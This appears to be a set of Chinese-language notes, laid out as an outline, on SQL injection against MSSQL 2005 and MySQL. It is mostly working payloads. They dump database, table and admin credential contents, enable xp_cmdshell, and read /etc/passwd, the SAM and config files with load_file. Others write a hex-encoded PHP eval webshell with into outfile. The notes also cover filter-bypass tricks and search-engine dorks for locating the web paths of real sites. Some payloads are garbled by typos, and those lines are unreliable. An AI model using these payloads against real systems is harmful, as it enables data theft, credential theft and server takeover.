- 得到第一个字段值
-
and 1=2 union all select 1,(select top 1 isnull(cast([name] as nvarchar(100)),char(32))%2bchar(94)%2bisnull(cast (password as nvarchar(100)),char(32)) from [admin]),where 1=1 and name not in(select top 1 name from admin)),3 from sysobjects
-
-
2.3 MsSQL 2005注入
-
攻击主要分为两种类型
-
一种是显错模式
- 可以直接爆出数据库内容
-
另一种是不显错模式
- 由于数据库不报错,只能利用盲注入攻击手法
-
-
判断MsSQL 2005数据库
- 注入语句: and substring((select @@version),22,4)=‘2005’
- 如果页面返回正常,则说明数据库版本为MsSQL 2005
-
显错模式爆数据
-
爆数据库名
- //and//(select//top//1//isnull(cast([name]//as//nvarchar(500)),char(32))%2bchar(124)//from//[master].[dbo].[sysdatabases]//where//dbid//in//(select//top//1//dbid//from//[master].[dbo].[sysdatabases]//order//by//dbid//desc))%3d0–
- /**/用来代替空格,以绕过防注入过滤程序。修改增加top后面的数字,就可以逐个猜出所有数据库名
-
爆数据表
-
//and//(select//top//1//cast(name//as//varchar(200))//from//(select//top//1//name//from//数据库名
.[sys].[all_objects]//where//type%3dchar(85)//order//by//name)//t//order//by//name//desc)%3d0– -
指定所要列的—数据库名(TestDB),修改top后面部分的数字1,就可以逐个猜出指定数据库中的所有数据表名
-
-
爆字段名
- and (select top 1 cast([id] as nvarchar(20))%2bchar(94) from [TestDB].[sys].[sysobjects] where name=0x410064006D0069006E00)>0–
- from[TestDB]为数据库名,name=0x410064006D0069006E00(admin)为16进制数据表名,爆出表Admin的dbid值
-
爆字段内容
-
爆出字段列名数目
- //and//(selcet//top//1//cast(name//as//varchar(500))//from//(select//top//n//column_id,name//from//[数据库名].[sys].[all_columns]//where//object_id=dbid 值 //order//by//column_id)//t//order//by//column_id//desc)>0–
- 修改top后的n值,可以得到所有字段名
-
爆字段内容
-
//and//(select//top//1//isnull(cast([字段名 1]
//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([字段名 2]
//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([字段名 3]
//as//nvarchar(4000)),char(32))//from//[数据库名]
…[表名]
//where//1=1//and//id//not//in//(select//top//0//id//from//[数据库名]…
[表名]//where//1=1//group//by//id))>0//and//1=1 -
举例:字段1:id,字段2:name,字段3:password,数据库名:TestDB,表名:admin----可以得到用户名,密码
-
-
-
利用扩展存储的注入攻击技术
-
MsSQL 2005默认没有开启xp_cmdshell扩展存储,Openrowset扩展存储也不能使用.
如果注入点处是SA权限.可以开启扩展存储后再执行系统命令或查询攻击 -
开启Openrowset
- EXEC//sp_configure//‘show//advanced//options’,//1;RECONFIGURE;–
EXEC//sp_configure//'Ad//Hoc//Distributed//Queries’,/**/1;RECONFIGURE;–
- EXEC//sp_configure//‘show//advanced//options’,//1;RECONFIGURE;–
-
开启xp_cmdshell
- EXEC//sp_configure//'Ad//Hoc//Distributed//Queries’,1;RECONFIGURE;–
EXEC//sp_configure//'show//advanced//options’,1;RECONFIGURE;EXEC//sp_figure/**/‘xp_cmdshell’,1;RECONFIGURE;–
- EXEC//sp_configure//'Ad//Hoc//Distributed//Queries’,1;RECONFIGURE;–
-
开启扩展存储后,就可以参照之前版本的MsSQL注入攻击技术.通过扩展存储直接实施服务器攻击
-
-
-
不显错模式
-
盲注入攻击技术
-
猜数据库dbid
-
and (select count(*) from master.dbo.sysdatabases where dbid=1)>0
- 逐步增加dbid=1的数值,当页面返回出错时,可得到数据库dbid的最大值。
-
-
猜解数据库名长度
-
and (select count(*) from master.dbo.sysdatabases where dbid=dbid值 and len(name)>1)>0
- 指定数据库的dbid值,可以猜解出数据库名的长度
-
-
猜解数据库名
- 与Access注入猜解原理类似,通过判断数据库名每一位的ASCII码值,返回查出其对应的字符,从而得到完整的数据库名
- and (select count(*)frommaster.dbo.sysdatabases where dbid=dbid 值 and ascii(substring(name,1,1))>1>0
- 递增第3个数字1的值,可得到数据库名第一位字符对应的ASCII码值。然后用同样的方法可以猜解出其他位字符的ASCII码值,反查得出数据库名
-
猜解管理员表
-
得到数据库名后,可以用同样的方法反查ASCII码,猜解出管理员表。
-
and (select count(*) from master.dbo.sysdatabases where dbid=1)>0
- 该语句可以尝试查看是否有包含adman的管理员表名。
如果该数据库中包含敏感的管理员表,则可继续猜测其中的表名。
- 该语句可以尝试查看是否有包含adman的管理员表名。
-
先猜解表名长度
-
and (select count(*) from master.dbo.sysdatabases where dbid=dbid 值 and len (name)>1)>0
- 递增name后数字1,直到页面返回错误信息,可得到表名长度
-
-
然后猜解表名内容
-
and (select count(*) from master.dbo.sysdatabases where dbid=dbid 值 and ascii(substring(name,1,1))>1)>0
- 递增第三个黑体数字1,直到页面返回错误信息,可得到表名第一位字符对应的ASCII码值。
用同样的方法,可以猜解出其他位对应的ASCII码值,反查出表名字符。
- 递增第三个黑体数字1,直到页面返回错误信息,可得到表名第一位字符对应的ASCII码值。
-
-
-
猜解字段名
- 猜解出表名后,可以继续用同样的方法反查ASCII码,猜解出表中的字段。
- and (select count(*) from 数据库名.dbo.syscolumns where name in (select top 1 name from 数据库名_db.dbo.syscolumns where id=object_id(‘数据库名.dbo.table’)) and ascii(substring(name,1,1))>1)=1
- 递增大于号>后面数字1,直到页面返回错误信息,可得到表中的字段第一位字符对应的ASCII码值。用同样的方法,可以猜解出其他位对应的ASCII码值,反查出完整的字段名。
-
猜解字段内容
- 猜解字段内容的原理方法也类似,同样是反查ASCII码逐位进行猜解,可参考前面的Access数据库注入猜解方法及原理。
-
-
mysql数据库
MySQL数据库通常与PHP网页程序搭建网站平台
- 各大门户网站采用MySQL+PHP的网站结构,例如新浪、网易、TOM网站等
mysql4与5区别
- MySQL 4版本数据库由于存在着字符转义与不支持子句查询的情况,因此在注入攻击上存在着很大的局限性,只能采用类似Access的方法进行查询猜解。
首先,利用order by获得当前表的字段数,再使用union select联合查询来获取想要的数据库信息。使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断。 - MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
通过load_file()函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
通过dumpfile/outfile函数导出获取WebShell。
MySQL 4注入攻击技术
-
利用order by获得当前表的字段数
-
再使用union select联合查询来获取想要的数据库信息
- 使用union select联合查询数据库时,由于不知道数据库中的表名与字段名,因此只能像Access一样直接用常见表名和字段名进行猜测判断
MySQL 5注入攻击技术
-
常用的注入攻击方式
- 通过对MySQL的数据进行猜解获取敏感的信息,来进一步通过网站的各种功能获取控制权
- 通过load_fileO函数来读取脚本代码或系统敏感文件内容,进行漏洞分析或直接获取数据库连接账号、密码。
- 通过dumpfile/outfile函数导出获取WebShell
- MySQL 5版本由于information_schema库的存在,注入攻击相对来说方便了许多
-
information_schema注入
-
数据库是MySQL系统自带的数据库
- 保存着关于MySQL服务器所维护的所有其他数据库的信息
-
通过注入获取information_schema.tables表中的信息
- information_schema.tables :information_schema数据库名下表名tables 记录所有数据库名下的所有表名信息的表
- information_schema.columns是记录所有数据库名下的所有列名信息的表
-
注入步骤
-
order by来判断查询的字段
- ’ order by 1,2–+&Submit=Submit#
-
获取pikachu数据库的表名
-
vince’ union select database(),user(),3#%
- 数据库和表名
-
1、u’ union select table_schema ,table_name,3 from information_schema.tables where table_schema=‘pikachu’#
pikachu为上一步查询到的数据库名称 -
2、UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761±-+&Submit=Submit
-
-
获取pikachu数据库的字段名
- 1、k’ union select table_name,column_name,3 from information_schema.columns where table_name=‘users’#%
- 2、’ UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273±-+&Submit=Submit
-
获取字段值的内容
- kobe’union select username ,password,3 from users#%
获取users表中的用户名和密码,其他用3做为通配 - kobe’union select username ,email,3 from member#%
获取member表中的用户名和邮箱,其他用3做为通配 - ’ UNION SELECT user,password from users±-+&Submit=Submit
- kobe’union select username ,password,3 from users#%
-
-
-
load_file()函数注入攻击
-
利用order by获得当前表的字段数
-
数据库后端查询:Mysql>select first_name,last_name from user where user_id=”order by 3+–+’
-
注入:”order by 3+–+’
- 改变 by 后面的数值,返回错误则没有
-
-
构造union select语句,来查询正在使用中的用户user()、数据库database()、数据库版本version()、服务器操作系统@@version_compile_os,
-
‘union select user(),database()+–-+
- 用户名和数据库名
-
‘union select version(),@@version_compile_os+–-+
- 版本和操作系统
-
-
利用load_fileQ函数,在union select联合查询中直接读取服务器上的文件
-
如果Web服务器和数据库服务器没有分离,找到Web路径之后还可以用select into outfileO函数,
将一句话木马查询结果导出到Web目录
-
-
mysql用户名密码存储位置
- 数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.
所以对数据库做安全的时候无论如何不能给网站root 权限,一定要给一个普通用户权限。 - 在线解密:www.cmd5.com
- 数据库最高权限用户是root 密码保存在mysql数据库的user表中,密码是采用mysql5特有的加密,通过cmd5网站进行解密或通过cain等这类专业可以对mysql hash破解.
-
服务器文件进行读写操作
-
使用into outfile需要有以下条件
- 1、需要知道远程目录
- 2、需要远程目录有写权限
- 3、需要数据库开启secure_file_priv
-
数据库开启secure_file_priv
- into outfile 可将select的结果写入指定目录的txt中,但需要数据库开启secure_file_priv,怎么开启secure_file_priv。
- 在mysql安装目录的my.ini文件中的[mysqld]添加secure_file_priv = ’ ';
- 以管理员身份运行cmd,进入mysql/bin停止mysql服务net stop mysql
- 重新启动mysql服务net start mysql
- 登入mysql mysql -u root -p enter password: password
- 执行命令show variables like ‘%secure%’;
- 查看secure_file_priv的值(这里已经将secure_file_priv的值设为空,但正常显示为NULL和文件路径)
-
通过联合查询对服务器进行读写操作
- 利用注入读取/ect/passwd 文件(linux系统)
‘UNION SELECT 1, load_file(/etc/passwd) +–+ - 使用联合查询语句构造,利用注入读取c:\1.txt (Windows系统)
‘ UNION SELECT 1, load_file(‘c:\1.txt’) +–+
或者 ‘ union select 1, load_file(‘c:/1.txt’) +–+
- 利用注入读取/ect/passwd 文件(linux系统)
-
如果出现以下情况:
-
Query Errot:SELECT CID,TITLE FROM CMS_CONTENTINDEX WHERE TID=25950\’AND 1=2 UNION SELECT LOAD_FILE(’C:\BOOT.INI\’),2
- 显然,在“php.ini"配置文件中magic_quotes_gpc为on或在接受参数的时候用了addslashes()涵数,单引号就会被自动转义成’,因此函数未能正确执行功能.要绕开此过滤,
-
可将c:\boot.ini转换成十六进制,转换后为:0x633A5C5C626F6F742E696E69.再提交
- %27%20union%20select%201,load_file(0x633A5C5C626F6F742E696E69)±-+&Submit=Submit
- and 1=2 union select 1,load_file(0x633A5C5C626F6F742E696E69)±-+&Submit=Submit
-
-
对服务器进行写操作
-
%27%20union%20select%20’568311803’,2 into outfile 'c:/muma.txt’±-+&Submit=Submit
-
%27%20union%20select%200x3C3F70687020406576616C28245F504F53545B2763686F70706572275D293B3F3E,2 into outfile 'c:/muma.txt’±-+&Submit=Submit #写入一句话木马
- 为什么要把一句话木马转化为十六进制,因为一句话木马里面也有单引号,再用单引号引起来会容易造成混淆。
所以得出结论:如果用编码就不要用单引号,用单引号就不要用编码。
- 为什么要把一句话木马转化为十六进制,因为一句话木马里面也有单引号,再用单引号引起来会容易造成混淆。
-
-
-
怎么获取Web路径
-
要对服务器进行读写我们需要网站路径才能得到webshell
-
(1)一般可以在变量后面加上单引号、改变参数类型、增加参数位数等来造成MySQL数据库出错,爆出Web物理路径。
-
(2)通过扫描器扫web服务器遗留文件 php.php、info.php、phpinfo.php、test.php
-
(3)利用搜索引擎来查找Web目录。搜索引擎有时候会对网站页面进行快照抓取,包括脚本出错页面,因此可利用搜索引擎查找网站的出错信息,从而获得网站的物理路径。可在Google或百度中搜索“mysql site:***.com”或“warning site:***.com,error site:***.com.cn”等。
- 这里使用“error site:***.com”关键字进行查询,从搜索结果中得到了网站的物理路径为“E:\pujing2015”。
-
(4) 漏洞暴路径,例如通过网站后台查看网站Web路径、CC攻击暴路径等.
-
(5)通过配置文件找网站路径,在百度里面输入***配置文件,如:IIS6.0配置文件,可以找到: C:\WINDOWS\system32\inetsrv\MetaBase.xml 和C:\WINDOWS\system32\inetsrv\MetaBase.bin 这两个配置文件(小技巧:在百度里面输入:load_file()常用敏感信息,就可以找到别人入侵过程中总结的常用敏感文件路径)。
- %27%20union%20select%201,load_file(C:\WINDOWS\system32\inetsrv\MetaBase.xml)±-+&Submit=Submit
-
-
-
利用sql注入写入webshell
-
假设我们通过phpinfo文件知道了网站的物理路径,接下来我们通过使用union select语句来写入webshell.
写入需要有写入权限等 -
‘ union select 1,’‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +–+ //这种反斜扛/本地没测试,大家测试一下,推见大家用两个反\方法
-
’ union select “<?php @eval($_POST['chopper']);?>”,2 into outfile "c:\php\htdocs\dvwa\123.php"±-+&Submit=Submit
-
MysQL获取web路径方法
-
直接在出错信息中显示Web路径
- 在注入点处加单引号,或者修改提交变量类型,让查询语句出错,从出错信息中往往可以爆出网站Web物理路径
-
load_file(char(47))列出freebsd目录
- 字符“/”的ASCII码是47
-
"/etc/passwd”文件中的工作目录
- 从中可看到系统中有apache用户,其工作目录为“/var/www/ "有些网站会写上具体路径o而且网站用户名有的就是对应/etc/passwd里面的用户或文件夹名等等。
-
读取apache的配置文件“httpd.conf”,获取Web路径
-
在*nix系统中,可以利用laod_file()尝试读取以下路径查看"apache”配置文件
- /etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
- /etc/init.d/apache
-
在Windows系统中,可以尝试读取以下路径查看apache配置文件
- C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Software Foundation\Apache2.2\conf\httpd.conf
C:\apache\confthttpd.conf
也可以将换盘符C换为D, E, F等进行尝试。
- C:\Program Files\Apache Group\Apache\conf\httpd.conf
-
-
利用load_file()读取各种配置文件
-
在MySQL注入中,load_file()函数除了用于读取网页脚本程序源代码外,还可以用来读取其他各种敏感的配置文件,方便获得WebShell或进行提权。
-
load_file()读取服务器配置文件
- /user/local/app/apache2/conf/extra/http-vhosts.conf //虚拟网站设置
/user/local/app/php5/lib/php.ini //php相关设置
/etc/sysconfig/iptables //防火墙规则策略
/etc/rsyncd.conf //同步程序配置
/etc/sysconfig/network-script/ifcfg-eth0 //查看IP
/etc/my.cnf //Mysql的配置文件
/etc/redhat-release //系統版本
/etc/issue //系統版本
/etc/issue.net //系統版本
/usr/local/resin/conf/resin.conf //查看Linux系统配置的JSP虚拟主机
/usr/local/resin-pro-3.0.22/conf/resin.conf
/usr/local/resin-3.0.22/conf/resin.conf //查看RESIN 3.0.22配置文件
c:\mysql\data\mysql\user.MYD //存储了“mysql.user”表中的数据库链接密码c:\program files\rhinosoft.com\serv-u\servudaemon.ini
c:\program files\serv-u\servudaemon.ini //FTP软件配置文件,存储虚拟主机网站路径和密码
c:\program files\mysql\my.ini
c:\windows\my.ini //Mysql配置文件
c:\windows\system32\inetsrv\metabase.xml //IIS配置文件
c:\resin\conf\resin.conf
c:\resin-3.0.14\conf\resin.conf //查看JSP网站“resin”文件配置信息
- /user/local/app/apache2/conf/extra/http-vhosts.conf //虚拟网站设置
-
load_file()读取二进制文件
- c:\windows\repair\sam //windows系统初次安装时的密码
c:\program files\serv-u\servuadmin.exe //serv-U 6.0及之前版本的管理员密码文件
c:\program files\rhinosoft.com\servudaemo.exe
c:\documents and setting\all users\application data\symantec\pcanywhere*.cif //pcanywhere登陆密码文件
- c:\windows\repair\sam //windows系统初次安装时的密码
-
load_file()函数读取文件时不可忽略的问题
- replace(load_file(char(文件路径十六进制代码)),char(60),char(32))
- 这句代码的意思是,将返回文件内容中的“<”替换成空格,这样就可以屏蔽网页效果,从而查看到真实的网页内容了
-
LIMIT子句查询在MySQL 5注入中的利用
-
简介
- 当MySQL版本在5.0以上,而且链接数据库账号是普通用户时,如果无权限读取网页源文件或重要的配置文件,那么可以通过猜解列出管理员信息,然后登录后台再上传WebShell。
- 4.0以上支持union
- 4.1以上支持子查询
- 5.0以上有了系统表
-
information_schema结构包含数据库关键信息
-
MySQL 5数据库中的information_schema结构
- TABLES_IN_INFORMATION_SCHEMA
- CHARACTER_SETS
- COLLATIONS
- CONLLATION_CHARACTE_SET_APPLICABILITY
- COLUMNS
- COLUMN_PRIVILEGES
- KEY_COLUMN_USAGE
- ROUTINES
- SCHEMATA
- SCHEMA_PRIVILEGES
- STATISTICS
- TABLES
- TABLE_CONSTRAINTS
- TABLE_PRIVILEGES
- TRIGGERS
- USER_PRIVILEGES
- VIEWS
-
常用表
- "SCHEMATA”表,用于存储数据库名。其中的关键字段为SCHEMA_NAME,表示数据库名称。“’
- "TABLES”表,用于存储表名。关键字段TABLE_SCHEMA表示表所属的数据库名称;关键字段TABLE_NAME表示表的名称.
- "COLUMNS”表,用于存储字段名.其中的关键字段TABLE SCHEMA表示表所属的数据库名称;
字段TABLE NAME表示所属的表的名称;COLUMN_NAME表示字段名. - 可以看到,在MySQL 5数据库注入过程中,只要通过注射点构造语句查询相关字段,就可以得到任意想要的信息。
-
-
LIMIT子句查询指定数据
-
SELECT * FROM table LIMIT [iffset,] rows | rows OFFSET offset
- LIMIT接受一个或两个数字参数,参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。需要注意的是,初始记录行的偏移量是0而不是1
-
举例
-
SELECT * FROM table LIMIT 0,1
- 可检索记录行中的第一条数据内容
-
SELECT * FROM table LIMIT 1,1
- 可检索记录行中的第二条数据内容
-
-
-
LIMIT爆库、爆表与爆字段
-
爆数据库
-
and 1=2 union select 1,database()/*
- 爆出当前数据库名
-
and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1/*
- 增加数字0,可查询爆出所有的数据库名
-
-
爆表名
-
and 1=2 union select 1,2,3,TABLE_NAME,4,5,6,7…from
information_schema.TABLES where TABLE_SCHEMA=库名十六进制代码 limit 0,1/*- 增加数字0,查询爆出指定数据库中的所有表名
-
-
爆字段
-
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7…from
information_schema.TABLES where TABLE_NAME=表名十六进制代码 limit 0,1/*- 增加数字0,查询爆出指定表中的所有字段名
-
-
group_concat()快速实施MySQL注入攻击
-
爆所有数据名
-
select group_concat(SCHEMA_NAME) from information_schema.schemata
- 查询“SCHEMATA”表中的SCHEMA_NAME字段,从而获得所有数据库名称
-
-
爆当前库的所有表
-
select group_concat(table_name) from information_schema.tables where table_schema=database()
- 查询“TABLES”表中的TABLE NAME字段,其查询条件为数据库名称字段TABLE_SCHEMA值为当前数据库,
从而获得当前数据库中的所有表名
- 查询“TABLES”表中的TABLE NAME字段,其查询条件为数据库名称字段TABLE_SCHEMA值为当前数据库,
-
如果只需找后台密码,可以不必爆所有表名,直接快速定位pass字段在那个表中,提交查询
-
select group_concat(table_name) from information_schema.tables where table_schema=database() and COLUMN_NAME like 0x257061737325
- 直接爆出包含有pass字段的表名,然后再爆此表的所有列字段名
-
-
-
爆表中的字段名
-
select group_concat(SCHEMA_NAME) from information_schema.schemata.columns where table_name=表名的十六进制编码
- 将指定的表名转换为十六进制编码,查询该表名中“COLUMNS”表中存储的与该表名相同的数据库中的所有字段名,从而获得当前数据库指定表中的所有字段名
-
-
爆指定字段值
-
select group_concat(字段名1,0x7c,字段名2) from 表名
- 查询指定表中指定字段名的值,在此查询语句中就不必对字段名和表名进行十六进制编码转换了。
- 其中有一个Ox7c是分隔符“|”的十六进制编码,用于对查询结果中的字段名进行分隔显示
-